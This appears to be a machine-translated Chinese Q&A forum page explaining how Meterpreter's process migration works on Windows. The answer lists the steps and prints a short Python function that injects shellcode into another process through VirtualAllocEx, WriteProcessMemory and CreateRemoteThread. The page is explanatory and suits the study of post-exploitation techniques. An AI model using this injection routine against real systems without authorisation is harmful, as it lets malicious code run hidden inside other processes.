Meterpreter 中的进程迁移如何工作

信息安全 视窗 计程器
2021-08-29 18:39:21

有没有人试图弄清楚在 Windows 的 Meterpreter 中进程迁移是如何工作的?我想制作自己的脚本来学习这一点,但我没有找到一个起点。好吧,我有一个使用NtQuerySystemInformation库及其SystemHandleInformation函数的想法,因为它可以返回操作系统中线程的句柄并使用我可以更改其父级的句柄,但我怀疑它是否会起作用(由于 TEB)。而且我有一种感觉,应该有比NtQuerySystemInformation. 任何人都可以建议使用 DLL 或算法吗?

2个回答

这是 migrate 在meterpreter中的工作方式:

  1. 获取用户想要迁移到的 PID。这是目标进程。
  2. 检查目标进程的体系结构是 32 位还是 64 位。这对于内存对齐很重要。
  3. 检查meterpreter进程是否有SeDebugPrivilege。这用于获取目标进程的句柄。更多详细信息,请访问 http://support.microsoft.com/kb/131065
  4. 从将要注入目标进程的处理程序中获取实际有效负载。还要计算它的长度。
  5. 调用 OpenProcess() API 以访问目标进程的虚拟内存。
  6. 调用 VirtualAllocEx() API 在目标进程中分配一块 RWX (Read, Write, Execute) 内存
  7. 调用 WriteProcessMemory() API 将负载写入目标内存虚拟内存空间。
  8. 调用 CreateRemoteThread() API 以在新线程中执行新创建的具有注入有效负载的内存存根。
  9. 关闭在旧进程中运行初始meterpreter 的前一个线程。

在 github最深处的某个地方,我发现了这段代码,它完成了所有必要的事情,所以寻找这些信息的人可以在下面的 API 函数中找到答案:

def injectshellcode(self, shellcode):
    """This function merely executes what it is given"""
    shellcodeaddress = self.kernel32.VirtualAllocEx(
                                                    self.handle,
                                                    None,
                                                    len(shellcode),
                                                    0x1000,
                                                    0x40
                                                    )
    self.kernel32.WriteProcessMemory(
                                    self.handle,
                                    shellcodeaddress,
                                    shellcode,
                                    len(shellcode),
                                    None
                                    )
    thread = self.kernel32.CreateRemoteThread(
                                    self.handle,
                                    None,
                                    0,
                                    shellcodeaddress,
                                    None,
                                    0,
                                    None
                                    )